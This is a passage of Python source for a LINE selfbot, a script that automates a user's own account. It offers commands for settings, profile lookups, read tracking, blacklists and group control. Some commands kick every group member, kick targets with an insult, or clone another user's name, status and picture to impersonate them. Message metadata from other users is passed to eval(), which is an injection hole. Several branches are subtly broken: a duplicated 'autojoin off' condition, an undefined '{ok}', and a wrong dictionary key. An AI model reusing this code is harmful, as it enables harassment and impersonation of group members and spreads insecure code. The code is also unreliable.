: {}\".format(contact.displayName)\n ret_ += \"\\n╠ 群組數 : {}\".format(str(len(grouplist)))\n ret_ += \"\\n╠ 好友數 : {}\".format(str(len(contactlist)))\n ret_ += \"\\n╠ 已封鎖 : {}\".format(str(len(blockedlist)))\n ret_ += \"\\n╠══[ 關於本bot ]\"\n ret_ += \"\\n╠ 版本 : 最新\"\n ret_ += \"\\n╠ 製作者 : {}\".format(creator.displayName)\n ret_ += \"\\n╚══[ 感謝您的使用 ]\"\n cl.sendMessage(to, str(ret_))\n except Exception as e:\n cl.sendMessage(msg.to, str(e))\n#==============================================================================#\n elif text.lower() == 'set':\n try:\n ret_ = \"╔══[ 狀態 ]\"\n if settings[\"autoAdd\"] == True: ret_ += \"\\n╠ Auto Add ✅\"\n else: ret_ += \"\\n╠ Auto Add ❌\"\n if settings[\"autoJoin\"] == True: ret_ += \"\\n╠ Auto Join ✅\"\n else: ret_ += \"\\n╠ Auto Join ❌\"\n if settings[\"autoLeave\"] == True: ret_ += \"\\n╠ Auto Leave ✅\"\n else: ret_ += \"\\n╠ Auto Leave ❌\"\n if settings[\"autoRead\"] == True: ret_ += \"\\n╠ Auto Read ✅\"\n else: ret_ += \"\\n╠ Auto Read ❌\"\n if settings[\"reread\"] ==True: ret_+=\"\\n╠ Reread ✅\"\n else: ret_ += \"\\n╠ Reread ❌\"\n ret_ += \"\\n╚══[ Finish ]\"\n cl.sendMessage(to, str(ret_))\n except Exception as e:\n cl.sendMessage(msg.to, str(e))\n elif text.lower() == 'autoadd on':\n settings[\"autoAdd\"] = True\n cl.sendMessage(to, \"Auto Add on success\")\n elif text.lower() == 'autoadd off':\n settings[\"autoAdd\"] = False\n cl.sendMessage(to, \"Auto Add off success\")\n elif text.lower() == 'autojoin on':\n settings[\"autoJoin\"] = True\n cl.sendMessage(to, \"Auto Join on success\")\n elif text.lower() == 'autojoin off':\n settings[\"autoJoin\"] = False\n cl.sendMessage(to, \"Auto Join off success\")\n elif text.lower() == 'autoleave on':\n settings[\"autoLeave\"] = True\n cl.sendMessage(to, \"Auto Leave on success\")\n elif text.lower() == 'autojoin off':\n settings[\"autoLeave\"] = False\n cl.sendMessage(to, \"Auto Leave off success\")\n elif text.lower() == 'autoread on':\n settings[\"autoRead\"] = True\n cl.sendMessage(to, \"Auto Read on success\")\n elif text.lower() == 'autoread off':\n settings[\"autoRead\"] = False\n cl.sendMessage(to, \"Auto Read off success\")\n elif text.lower() == 'checksticker on':\n settings[\"checkSticker\"] = True\n cl.sendMessage(to, \"Berhasil mengaktifkan Check Details Sticker\")\n elif text.lower() == 'checksticker off':\n settings[\"checkSticker\"] = False\n cl.sendMessage(to, \"Berhasil menonaktifkan Check Details Sticker\")\n elif text.lower() == 'detectmention on':\n settings[\"datectMention\"] = True\n cl.sendMessage(to, \"Berhasil mengaktifkan Detect Mention\")\n elif text.lower() == 'detectmention off':\n settings[\"datectMention\"] = False\n cl.sendMessage(to, \"Berhasil menonaktifkan Detect Mention\")\n elif text.lower() == 'reread on':\n settings[\"reread\"] = True\n cl.sendMessage(to,\"reread on success\")\n elif text.lower() == 'reread off':\n settings[\"reread\"] = False\n cl.sendMessage(to,\"reread off success\")\n elif text.lower() == 'protect on':\n settings[\"protect\"] = True\n cl.sendMessage(to, \"Protect on success\")\n elif text.lower() == 'protect off':\n settings[\"protect\"] = False\n cl.sendMessage(to, \"Protect off success\")\n elif text.lower() == 'share on':\n wait[\"share\"] = True\n cl.sendMessage(to, \"已開啟分享\")\n elif text.lower() == 'share off':\n wait[\"share\"] = False\n cl.sendMessage(to, \"已關閉分享\")\n#==============================================================================#\n elif text.lower() == 'admin ':\n MENTION =eval(msg.contentMetadata['MENTION'])\n inkey =MENTION['MENTIONEES'][0]['M']\n admin.append(str(inkey))\n cl.sendMessage(to,\"已新增權限\")\n elif text.lower() == 'demin ':\n MENTION =eval(msg.contentMetadata['MENTION'])\n inkey =MENTION['MENTIONEES'][0]['M']\n admin.remove(str(inkey))\n cl.sendMessage(to,\"已停止權限\")\n elif text.lower() == 'adminlist':\n if admin == []:\n cl.sendMessage(to,\"無擁有權限者!\")\n else:\n mc = \"╔══[ Admin List ]\"\n for mi_d in admin:\n mc += \"\\n╠ \"+cl.getContact(mi_d).displayName\n cl.sendMessage(to,mc + \"\\n╚══[ Finish ]\")\n\n\n\n#==============================================================================#\n elif text.lower() == 'me':\n sendMessageWithMention(to, clMID)\n cl.sendContact(to, clMID)\n elif text.lower() == 'mymid':\n cl.sendMessage(msg.to,\"[MID]\\n\" + clMID)\n elif text.lower() == 'myname':\n me = cl.getContact(clMID)\n cl.sendMessage(msg.to,\"[Name]\\n\" + me.displayName)\n elif text.lower() == 'mytoken':\n me = cl.getContact(clMID)\n cl.sendMessage(msg.to,\"[StatusMessage]\\n\" + me.statusMessage)\n elif text.lower() == 'mypicture':\n me = cl.getContact(clMID)\n cl.sendImageWithURL(msg.to,\"http://dl.profile.line-cdn.net/\" + me.pictureStatus)\n elif text.lower() == 'myvideoprofile':\n me = cl.getContact(clMID)\n cl.sendVideoWithURL(msg.to,\"http://dl.profile.line-cdn.net/\" + me.pictureStatus + \"/vp\")\n elif text.lower() == 'mycover':\n me = cl.getContact(clMID)\n cover = cl.getProfileCoverURL(clMID)\n cl.sendImageWithURL(msg.to, cover)\n elif msg.text.lower().startswith(\"contact \"):\n if 'MENTION' in msg.contentMetadata.keys()!= None:\n names = re.findall(r'@(\\w+)', text)\n mention = ast.literal_eval(msg.contentMetadata['MENTION'])\n mentionees = mention['MENTIONEES']\n lists = []\n for mention in mentionees:\n if mention[\"M\"] not in lists:\n lists.append(mention[\"M\"])\n for ls in lists:\n contact = cl.getContact(ls)\n mi_d = contact.mid\n cl.sendContact(msg.to, mi_d)\n elif msg.text.lower().startswith(\"mid \"):\n if 'MENTION' in msg.contentMetadata.keys()!= None:\n names = re.findall(r'@(\\w+)', text)\n mention = ast.literal_eval(msg.contentMetadata['MENTION'])\n mentionees = mention['MENTIONEES']\n lists = []\n for mention in mentionees:\n if mention[\"M\"] not in lists:\n lists.append(mention[\"M\"])\n ret_ = \"[ Mid User ]\"\n for ls in lists:\n ret_ += \"\\n\" + ls\n cl.sendMessage(msg.to, str(ret_))\n elif msg.text.lower().startswith(\"name \"):\n if 'MENTION' in msg.contentMetadata.keys()!= None:\n names = re.findall(r'@(\\w+)', text)\n mention = ast.literal_eval(msg.contentMetadata['MENTION'])\n mentionees = mention['MENTIONEES']\n lists = []\n for mention in mentionees:\n if mention[\"M\"] not in lists:\n lists.append(mention[\"M\"])\n for ls in lists:\n contact = cl.getContact(ls)\n cl.sendMessage(msg.to, \"[ 名字 ]\\n\" + contact.displayName)\n for ls in lists:\n contact = cl.getContact(ls)\n cl.sendMessage(msg.to, \"[ 個簽 ]\\n\" + contact.statusMessage)\n for ls in lists:\n path = \"http://dl.profile.cl.naver.jp/\" + cl.getContact(ls).pictureStatus\n cl.sendImageWithURL(msg.to, str(path))\n for ls in lists:\n path = cl.getProfileCoverURL(ls)\n pmath = \"http://dl.profile.cl.naver.jp/\" + cl.getContact(ls).pictureStatus\n cl.sendImageWithURL(msg.to, path)\n try:\n key = eval(msg.contentMetadata[\"MENTION\"])\n u = key[\"MENTIONEES\"][0][\"M\"]\n cname = cl.getContact(u).displayName\n cmid = cl.getContact(u).mid\n cstatus = cl.getContact(u).statusMessage\n cpic = cl.getContact(u).picturePath\n cl.sendMessage(receiver, 'Nama : '+cname+'\\nMID : '+cmid+'\\nStatus Msg : '+cstatus+'\\nPicture : http://dl.profile.line.naver.jp'+cpic)\n cl.sendMessage(receiver, None, contentMetadata={'mid': cmid}, contentType=13)\n if cl.getContact(u).videoProfile != None:\n cl.sendVideoWithURL(receiver, 'http://dl.profile.line.naver.jp'+cpic+'/vp.small')\n else:\n cl.sendImageWithURL(receiver, 'http://dl.profile.line.naver.jp'+cpic)\n except Exception as e:\n cl.sendMessage(receiver, str(e))\n\n\n if line != None:\n if 'MENTION' in msg.contentMetadata.keys()!= None:\n names = re.findall(r'@(\\w+)', text)\n mention = ast.literal_eval(msg.contentMetadata['MENTION'])\n mentionees = mention['MENTIONEES']\n lists = []\n for mention in mentionees:\n if mention[\"M\"] not in lists:\n lists.append(mention[\"M\"])\n for ls in lists:\n path = cl.getProfileCoverURL(ls)\n cl.sendImageWithURL(msg.to, str(path))\n elif msg.text.lower().startswith(\"cloneprofile \"):\n if 'MENTION' in msg.contentMetadata.keys()!= None:\n names = re.findall(r'@(\\w+)', text)\n mention = ast.literal_eval(msg.contentMetadata['MENTION'])\n mentionees = mention['MENTIONEES']\n for mention in mentionees:\n contact = mention[\"M\"]\n break\n try:\n cl.cloneContactProfile(contact)\n cl.sendMessage(msg.to, \"Berhasil clone member tunggu beberapa saat sampai profile berubah\")\n except:\n cl.sendMessage(msg.to, \"Gagal clone member\")\n elif text.lower() == 'restoreprofile':\n try:\n clProfile.displayName = str(myProfile[\"displayName\"])\n clProfile.statusMessage = str(myProfile[\"statusMessage\"])\n clProfile.pictureStatus = str(myProfile[\"pictureStatus\"])\n cl.updateProfileAttribute(8, clProfile.pictureStatus)\n cl.updateProfile(clProfile)\n cl.sendMessage(msg.to, \"Berhasil restore profile tunggu beberapa saat sampai profile berubah\")\n except:\n cl.sendMessage(msg.to, \"Gagal restore profile\")\n#==============================================================================#\n elif msg.text.lower().startswith(\"mimicadd \"):\n targets = []\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n for target in targets:\n try:\n settings[\"mimic\"][\"target\"][target] = True\n cl.sendMessage(msg.to,\"已加入模仿名單!\")\n break\n except:\n cl.sendMessage(msg.to,\"添加失敗 !\")\n break\n elif msg.text.lower().startswith(\"mimicdel \"):\n targets = []\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n for target in targets:\n try:\n del settings[\"模仿名單\"][\"target\"][target]\n cl.sendMessage(msg.to,\"刪除成功 !\")\n break\n except:\n cl.sendMessage(msg.to,\"刪除失敗 !\")\n break\n elif text.lower() == 'mimiclist':\n if settings[\"mimic\"][\"target\"] == {}:\n cl.sendMessage(msg.to,\"未設定模仿目標\")\n else:\n mc = \"╔══[ Mimic List ]\"\n for mi_d in settings[\"mimic\"][\"target\"]:\n mc += \"\\n╠ \"+cl.getContact(mi_d).displayName\n cl.sendMessage(msg.to,mc + \"\\n╚══[ Finish ]\")\n elif \"mimic\" in msg.text.lower():\n sep = text.split(\" \")\n mic = text.replace(sep[0] + \" \",\"\")\n if mic == \"on\":\n if settings[\"mimic\"][\"status\"] == False:\n settings[\"mimic\"][\"status\"] = True\n cl.sendMessage(msg.to,\"Reply Message on\")\n elif mic == \"off\":\n if settings[\"mimic\"][\"status\"] == True:\n settings[\"mimic\"][\"status\"] = False\n cl.sendMessage(msg.to,\"Reply Message off\")\n#==============================================================================#\n elif text.lower() == 'groupcreator':\n group = cl.getGroup(to)\n GS = group.creator.mid\n cl.sendContact(to, GS)\n elif text.lower() == 'groupid':\n gid = cl.getGroup(to)\n cl.sendMessage(to, \"[ID Group : ]\\n\" + gid.id)\n elif text.lower() == 'grouppicture':\n group = cl.getGroup(to)\n path = \"http://dl.profile.line-cdn.net/\" + group.pictureStatus\n cl.sendImageWithURL(to, path)\n elif text.lower() == 'groupname':\n gid = cl.getGroup(to)\n cl.sendMessage(to, \"[群組名稱 : ]\\n\" + gid.name)\n elif text.lower() == 'grouplink':\n if msg.toType == 2:\n group = cl.getGroup(to)\n if group.preventedJoinByTicket == False:\n ticket = cl.reissueGroupTicket(to)\n cl.sendMessage(to, \"[ Group Ticket ]\\nhttps://cl.me/R/ti/g/{}\".format(str(ticket)))\n else:\n cl.sendMessage(to, \"Grouplink未開啟 {}openlink\".format(str(settings[\"keyCommand\"])))\n elif text.lower() == 'link off':\n if msg.toType == 2:\n group = cl.getGroup(to)\n if group.preventedJoinByTicket == False:\n cl.sendMessage(to, \"群組網址已關\")\n else:\n group.preventedJoinByTicket = False\n cl.updateGroup(group)\n cl.sendMessage(to, \"關閉成功\")\n elif text.lower() == 'link on':\n if msg.toType == 2:\n group = cl.getGroup(to)\n if group.preventedJoinByTicket == True:\n cl.sendMessage(to, \"群組網址已開\")\n else:\n group.preventedJoinByTicket = True\n cl.updateGroup(group)\n cl.sendMessage(to, \"開啟成功\")\n elif text.lower() == 'groupinfo':\n group = cl.getGroup(to)\n try:\n gCreator = group.creator.displayName\n except:\n gCreator = \"不明\"\n if group.invitee is None:\n gPending = \"0\"\n else:\n gPending = str(len(group.invitee))\n if group.preventedJoinByTicket == True:\n gQr = \"關閉\"\n gTicket = \"無\"\n else:\n gQr = \"開啟\"\n gTicket = \"https://cl.me/R/ti/g/{}\".format(str(cl.reissueGroupTicket(group.id)))\n path = \"http://dl.profile.line-cdn.net/\" + group.pictureStatus\n ret_ = \"╔══[ Group Info ]\"\n ret_ += \"\\n╠ 群組名稱 : {}\".format(str(group.name))\n ret_ += \"\\n╠ 群組 Id : {}\".format(group.id)\n ret_ += \"\\n╠ 創建者 : {}\".format(str(gCreator))\n ret_ += \"\\n╠ 群組人數 : {}\".format(str(len(group.members)))\n ret_ += \"\\n╠ 邀請中 : {}\".format(gPending)\n ret_ += \"\\n╠ 網址狀態 : {}\".format(gQr)\n ret_ += \"\\n╠ 群組網址 : {}\".format(gTicket)\n ret_ += \"\\n╚══[ Finish ]\"\n cl.sendMessage(to, str(ret_))\n cl.sendImageWithURL(to, path)\n elif text.lower() == 'groupmemberlist':\n if msg.toType == 2:\n group = cl.getGroup(to)\n ret_ = \"╔══[ 成員名單 ]\"\n no = 0 + 1\n for mem in group.members:\n ret_ += \"\\n╠ {}. {}\".format(str(no), str(mem.displayName))\n no += 1\n ret_ += \"\\n╚══[ 全部成員共 {} 人]\".format(str(len(group.members)))\n cl.sendMessage(to, str(ret_))\n elif text.lower() == 'grouplist':\n groups = cl.groups\n ret_ = \"╔══[ Group List ]\"\n no = 0 + 1\n for gid in groups:\n group = cl.getGroup(gid)\n ret_ += \"\\n╠ {}. {} | {}\".format(str(no), str(group.name), str(len(group.members)))\n no += 1\n ret_ += \"\\n╚══[ Total {} Groups ]\".format(str(len(groups)))\n cl.sendMessage(to, str(ret_))\n elif msg.text.lower().startswith(\"nk \"):\n targets = []\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n for target in targets:\n try:\n cl.sendMessage(to,\"Fuck you\")\n cl.kickoutFromGroup(msg.to,[target])\n except:\n cl.sendMessage(to,\"Error\")\n elif msg.text.lower().startswith(\"ri \"):\n targets = []\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n for target in targets:\n try:\n cl.sendMessage(to,\"來回機票一張ww\")\n cl.kickoutFromGroup(msg.to,[target])\n cl.inviteIntoGroup(to,[target])\n except:\n cl.sendMessage(to,\"Error\")\n elif text.lower() == 'nk':\n if msg.toType == 2:\n print (\"[ 19 ] KICK ALL MEMBER\")\n _name = msg.text.replace(\"Byeall\",\"\")\n gs = cl.getGroup(msg.to)\n cl.sendMessage(msg.to,\"Sorry guys\")\n targets = []\n for g in gs.members:\n if _name in g.displayName:\n targets.append(g.mid)\n if targets == []:\n cl.sendMessage(msg.to,\"Not Found\")\n else:\n for target in targets:\n try:\n cl.kickoutFromGroup(msg.to,[target])\n print (msg.to,[g.mid])\n except:\n cl.sendMessage(msg.to,\"\")\n elif (\"Gn \" in msg.text):\n if msg.toType == 2:\n X = cl.getGroup(msg.to)\n X.name = msg.text.replace(\"Gn \",\"\")\n cl.updateGroup(X)\n else:\n cl.sendMessage(msg.to,\"It can't be used besides the group.\")\n elif text.lower() == 'cancel':\n if msg.toType == 2:\n group = cl.getGroup(to)\n gMembMids = [contact.mid for contact in group.invitee]\n for _mid in gMembMids:\n cl.cancelGroupInvitation(msg.to,[_mid])\n cl.sendMessage(msg.to,\"已取消所有邀請!\")\n elif (\"Inv \" in msg.text):\n if msg.toType == 2:\n midd = msg.text.replace(\"Inv \",\"\")\n cl.findAndAddContactsByMid(midd)\n cl.inviteIntoGroup(to,[midd])\n#==============================================================================#\n elif text.lower() == 'tagall':\n group = cl.getGroup(msg.to)\n nama = [contact.mid for contact in group.members]\n k = len(nama)//100\n for a in range(k+1):\n txt = u''\n s=0\n b=[]\n for i in group.members[a*100 : (a+1)*100]:\n b.append({\"S\":str(s), \"E\" :str(s+6), \"M\":i.mid})\n s += 7\n txt += u'@Alin \\n'\n cl.sendMessage(to, text=txt, contentMetadata={u'MENTION': json.dumps({'MENTIONEES':b})}, contentType=0)\n cl.sendMessage(to, \"Total {} Mention\".format(str(len(nama))))\n elif text.lower() == 'sr':\n tz = pytz.timezone(\"Asia/Jakarta\")\n timeNow = datetime.now(tz=tz)\n day = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\",\"Friday\", \"Saturday\"]\n hari = [\"Minggu\", \"Senin\", \"Selasa\", \"Rabu\", \"Kamis\", \"Jumat\", \"Sabtu\"]\n bulan = [\"Januari\", \"Februari\", \"Maret\", \"April\", \"Mei\", \"Juni\", \"Juli\", \"Agustus\", \"September\", \"Oktober\", \"November\", \"Desember\"]\n hr = timeNow.strftime(\"%A\")\n bln = timeNow.strftime(\"%m\")\n for i in range(len(day)):\n if hr == day[i]: hasil = hari[i]\n for k in range(0, len(bulan)):\n if bln == str(k): bln = bulan[k-1]\n readTime = hasil + \", \" + timeNow.strftime('%d') + \" - \" + bln + \" - \" + timeNow.strftime('%Y') + \"\\nJam : [ \" + timeNow.strftime('%H:%M:%S') + \" ]\"\n if msg.to in read['readPoint']:\n try:\n del read['readPoint'][msg.to]\n del read['readMember'][msg.to]\n del read['readTime'][msg.to]\n except:\n pass\n read['readPoint'][msg.to] = msg.id\n read['readMember'][msg.to] = \"\"\n read['readTime'][msg.to] = datetime.now().strftime('%H:%M:%S')\n read['ROM'][msg.to] = {}\n with open('read.json', 'w') as fp:\n json.dump(read, fp, sort_keys=True, indent=4)\n cl.sendMessage(msg.to,\"偵測點已設置\")\n else:\n try:\n del read['readPoint'][msg.to]\n del read['readMember'][msg.to]\n del read['readTime'][msg.to]\n except:\n pass\n read['readPoint'][msg.to] = msg.id\n read['readMember'][msg.to] = \"\"\n read['readTime'][msg.to] = datetime.now().strftime('%H:%M:%S')\n read['ROM'][msg.to] = {}\n with open('read.json', 'w') as fp:\n json.dump(read, fp, sort_keys=True, indent=4)\n cl.sendMessage(msg.to, \"Set reading point:\\n\" + readTime)\n elif text.lower() == 'readcancel':\n tz = pytz.timezone(\"Asia/Jakarta\")\n timeNow = datetime.now(tz=tz)\n day = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\",\"Friday\", \"Saturday\"]\n hari = [\"Minggu\", \"Senin\", \"Selasa\", \"Rabu\", \"Kamis\", \"Jumat\", \"Sabtu\"]\n bulan = [\"Januari\", \"Februari\", \"Maret\", \"April\", \"Mei\", \"Juni\", \"Juli\", \"Agustus\", \"September\", \"Oktober\", \"November\", \"Desember\"]\n hr = timeNow.strftime(\"%A\")\n bln = timeNow.strftime(\"%m\")\n for i in range(len(day)):\n if hr == day[i]: hasil = hari[i]\n for k in range(0, len(bulan)):\n if bln == str(k): bln = bulan[k-1]\n readTime = hasil + \", \" + timeNow.strftime('%d') + \" - \" + bln + \" - \" + timeNow.strftime('%Y') + \"\\nJam : [ \" + timeNow.strftime('%H:%M:%S') + \" ]\"\n if msg.to not in read['readPoint']:\n cl.sendMessage(msg.to,\"偵測點已取消\")\n else:\n try:\n del read['readPoint'][msg.to]\n del read['readMember'][msg.to]\n del read['readTime'][msg.to]\n except:\n pass\n cl.sendMessage(msg.to, \"Delete reading point:\\n\" + readTime)\n elif text.lower() == 'resetread':\n tz = pytz.timezone(\"Asia/Jakarta\")\n timeNow = datetime.now(tz=tz)\n day = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\",\"Friday\", \"Saturday\"]\n hari = [\"Minggu\", \"Senin\", \"Selasa\", \"Rabu\", \"Kamis\", \"Jumat\", \"Sabtu\"]\n bulan = [\"Januari\", \"Februari\", \"Maret\", \"April\", \"Mei\", \"Juni\", \"Juli\", \"Agustus\", \"September\", \"Oktober\", \"November\", \"Desember\"]\n hr = timeNow.strftime(\"%A\")\n bln = timeNow.strftime(\"%m\")\n for i in range(len(day)):\n if hr == day[i]: hasil = hari[i]\n for k in range(0, len(bulan)):\n if bln == str(k): bln = bulan[k-1]\n readTime = hasil + \", \" + timeNow.strftime('%d') + \" - \" + bln + \" - \" + timeNow.strftime('%Y') + \"\\nJam : [ \" + timeNow.strftime('%H:%M:%S') + \" ]\"\n if msg.to in read[\"readPoint\"]:\n try:\n del read[\"readPoint\"][msg.to]\n del read[\"readMember\"][msg.to]\n del read[\"readTime\"][msg.to]\n except:\n pass\n cl.sendMessage(msg.to, \"Reset reading point:\\n\" + readTime)\n else:\n cl.sendMessage(msg.to, \"偵測點未設置?\")\n elif text.lower() == 'lr':\n tz = pytz.timezone(\"Asia/Jakarta\")\n timeNow = datetime.now(tz=tz)\n day = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\",\"Friday\", \"Saturday\"]\n hari = [\"Minggu\", \"Senin\", \"Selasa\", \"Rabu\", \"Kamis\", \"Jumat\", \"Sabtu\"]\n bulan = [\"Januari\", \"Februari\", \"Maret\", \"April\", \"Mei\", \"Juni\", \"Juli\", \"Agustus\", \"September\", \"Oktober\", \"November\", \"Desember\"]\n hr = timeNow.strftime(\"%A\")\n bln = timeNow.strftime(\"%m\")\n for i in range(len(day)):\n if hr == day[i]: hasil = hari[i]\n for k in range(0, len(bulan)):\n if bln == str(k): bln = bulan[k-1]\n readTime = hasil + \", \" + timeNow.strftime('%d') + \" - \" + bln + \" - \" + timeNow.strftime('%Y') + \"\\nJam : [ \" + timeNow.strftime('%H:%M:%S') + \" ]\"\n if receiver in read['readPoint']:\n if read[\"ROM\"][receiver].items() == []:\n cl.sendMessage(receiver,\"[ 已讀的人 ]:\\nNone\")\n else:\n chiya = []\n for rom in read[\"ROM\"][receiver].items():\n chiya.append(rom[1])\n cmem = cl.getContacts(chiya) \n zx = \"\"\n zxc = \"\"\n zx2 = []\n xpesan = '[ 已讀的人 ]:\\n'\n for x in range(len(cmem)):\n xname = str(cmem[x].displayName)\n pesan = ''\n pesan2 = pesan+\"@c\\n\"\n xlen = str(len(zxc)+len(xpesan))\n xlen2 = str(len(zxc)+len(pesan2)+len(xpesan)-1)\n zx = {'S':xlen, 'E':xlen2, 'M':cmem[x].mid}\n zx2.append(zx)\n zxc += pesan2\n text = xpesan+ zxc + \"\\n[ 已讀時間 ]: \\n\" + readTime\n try:\n cl.sendMessage(receiver, text, contentMetadata={'MENTION':str('{\"MENTIONEES\":'+json.dumps(zx2).replace(' ','')+'}')}, contentType=0)\n except Exception as error:\n print (error)\n pass\n else:\n cl.sendMessage(receiver,\"尚未設置偵測點\")\n#==============================================================================#\n elif msg.text.lower().startswith(\"ban \"):\n targets = []\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n for target in targets:\n try:\n settings[\"blacklist\"][target] = True\n cl.sendMessage(msg.to,\"已加入黑單!\")\n break\n except:\n cl.sendMessage(msg.to,\"添加失敗 !\")\n break\n elif msg.text.lower().startswith(\"unban \"):\n targets = []\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n for target in targets:\n try:\n del settings[\"blacklist\"][target]\n cl.sendMessage(msg.to,\"刪除成功 !\")\n break\n except:\n cl.sendMessage(msg.to,\"刪除失敗 !\")\n break\n elif text.lower() == 'banlist':\n if settings[\"blacklist\"] == {}:\n cl.sendMessage(msg.to,\"無黑單成員!\")\n else:\n mc = \"╔══[ Black List ]\"\n for mi_d in settings[\"blacklist\"]:\n mc += \"\\n╠ \"+cl.getContact(mi_d).displayName\n cl.sendMessage(msg.to,mc + \"\\n╚══[ Finish ]\")\n elif text.lower() == 'nkban':\n if msg.toType == 2:\n group = cl.getGroup(to)\n gMembMids = [contact.mid for contact in group.members]\n matched_list = []\n for tag in settings[\"blacklist\"]:\n matched_list+=filter(lambda str: str == tag, gMembMids)\n if matched_list == []:\n cl.sendMessage(msg.to,\"There was no blacklist user\")\n return\n for jj in matched_list:\n cl.kickoutFromGroup(msg.to,[jj])\n cl.sendMessage(msg.to,\"Blacklist kicked out\")\n elif text.lower() == 'cleanban':\n settings[\"blacklist\"] == {ok}\n for mi_d in settings[\"blacklist\"]:\n try:\n del settings[\"blacklist\"][mi_d]\n cl.sendMessage(msg.to,\"已清空黑單!\")\n break\n except:\n cl.sendMessage(msg.to,\"刪除失敗 !\")\n break\n elif text.lower() == 'banmidlist':\n if settings[\"blacklist\"] == {}:\n cl.sendMessage(msg.to,\"無黑單成員!\")\n else:\n mc = \"╔══[ Black List ]\"\n for mi_d in settings[\"blacklist\"]:\n mc += \"\\n╠ \"+mi_d\n cl.sendMessage(to,mc + \"\\n╚══[ Finish ]\")\n\n\n#==============================================================================#\n elif \"Copy \" in msg.text:\n targets = []\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n for target in targets:\n try:\n contact = cl.getContact(target)\n X = contact.displayName\n profile = cl.getProfile()\n profile.displayName = X\n cl.updateProfile(profile)\n cl.sendMessage(to, \"Success...\")\n Y = contact.statusMessage\n lol = cl.getProfile()\n lol.statusMessage = Y\n cl.updateProfile(lol)\n P = contact.pictureStatus\n pic = cl.getProfile()\n pic.pictureStatus = P\n cl.updateProfilePicture(P)\n cl.cloneContactProfile(target)\n except Exception as e:\n cl.sendMessage(to, \"Failed!\")\n elif text.lower() == 'cc9487':\n if sender in ['ua10c2ad470b4b6e972954e1140ad1891']:\n python = sys.executable\n os.execl(python, python, *sys.argv)\n else:\n pass\n#==============================================================================#\n elif text.lower() == 'calender':\n tz = pytz.timezone(\"Asia/Makassar\")\n timeNow = datetime.now(tz=tz)\n day = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\",\"Friday\", \"Saturday\"]\n hari = [\"Minggu\", \"Senin\", \"Selasa\", \"Rabu\", \"Kamis\", \"Jumat\", \"Sabtu\"]\n bulan = [\"Januari\", \"Februari\", \"Maret\", \"April\", \"Mei\", \"Juni\", \"Juli\", \"Agustus\", \"September\", \"Oktober\", \"November\", \"Desember\"]\n hr = timeNow.strftime(\"%A\")\n bln = timeNow.strftime(\"%m\")\n for i in range(len(day)):\n if hr == day[i]: hasil = hari[i]\n for k in range(0, len(bulan)):\n if bln == str(k): bln = bulan[k-1]\n readTime = hasil + \", \" + timeNow.strftime('%d') + \" - \" + bln + \" - \" + timeNow.strftime('%Y') + \"\\nJam : [ \" + timeNow.strftime('%H:%M:%S') + \" ]\"\n cl.sendMessage(msg.to, readTime)\n elif \"screenshotwebsite\" in msg.text.lower():\n sep = text.split(\" \")\n query = text.replace(sep[0] + \" \",\"\")\n with requests.session() as web:\n r = web.get(\"http://rahandiapi.herokuapp.com/sswebAPI?key=betakey&link={}\".format(urllib.parse.quote(query)))\n data = r.text\n data = json.loads(data)\n cl.sendImageWithURL(to, data[\"result\"])\n elif \"checkdate\" in msg.text.lower():\n sep = msg.text.split(\" \")\n tanggal = msg.text.replace(sep[0] + \" \",\"\")\n r=requests.get('https://script.google.com/macros/exec?service=AKfycbw7gKzP-WYV2F5mc9RaR7yE3Ve1yN91Tjs91hp_jHSE02dSv9w&nama=ervan&tanggal='+tanggal)\n data=r.text\n data=json.loads(data)\n ret_ = \"╔══[ D A T E ]\"\n ret_ += \"\\n╠ Date Of Birth : {}\".format(str(data[\"data\"][\"lahir\"]))\n ret_ += \"\\n╠ Age : {}\".format(str(data[\"data\"][\"usia\"]))\n ret_ += \"\\n╠ Birthday : {}\".format(str(data[\"data\"][\"ultah\"]))\n ret_ += \"\\n╠ Zodiak : {}\".format(str(data[\"data\"][\"zodiak\"]))\n ret_ += \"\\n╚══[ Success ]\"\n cl.sendMessage(to, str(ret_))\n elif msg.contentType == 7:\n if settings[\"checkSticker\"] == True:\n stk_id = msg.contentMetadata['STKID']\n stk_ver = msg.contentMetadata['STKVER']\n pkg_id = msg.contentMetadata['STKPKGID']\n ret_ = \"╔══[ Sticker Info ]\"\n ret_ += \"\\n╠ STICKER ID : {}\".format(stk_id)\n ret_ += \"\\n╠ STICKER PACKAGES ID : {}\".format(pkg_id)\n ret_ += \"\\n╠ STICKER VERSION : {}\".format(stk_ver)\n ret_ += \"\\n╠ STICKER URL : line://shop/detail/{}\".format(pkg_id)\n ret_ += \"\\n╚══[ Finish ]\"\n cl.sendMessage(to, str(ret_))\n elif msg.contentType == 13:\n if settings[\"copy\"] == True:\n _name = msg.contentMetadata[\"displayName\"]\n copy = msg.contentMetadata[\"mid\"]\n groups = cl.getGroup(msg.to)\n targets = []\n for s in groups.members:\n if _name in s.displayName:\n print (\"[Target] Copy\")\n break\n else:\n targets.append(copy)\n if targets == []:\n cl.sendMessage(msg.to, \"Not Found...\")\n pass\n else:\n for target in targets:\n try:\n cl.cloneContactProfile(target)\n 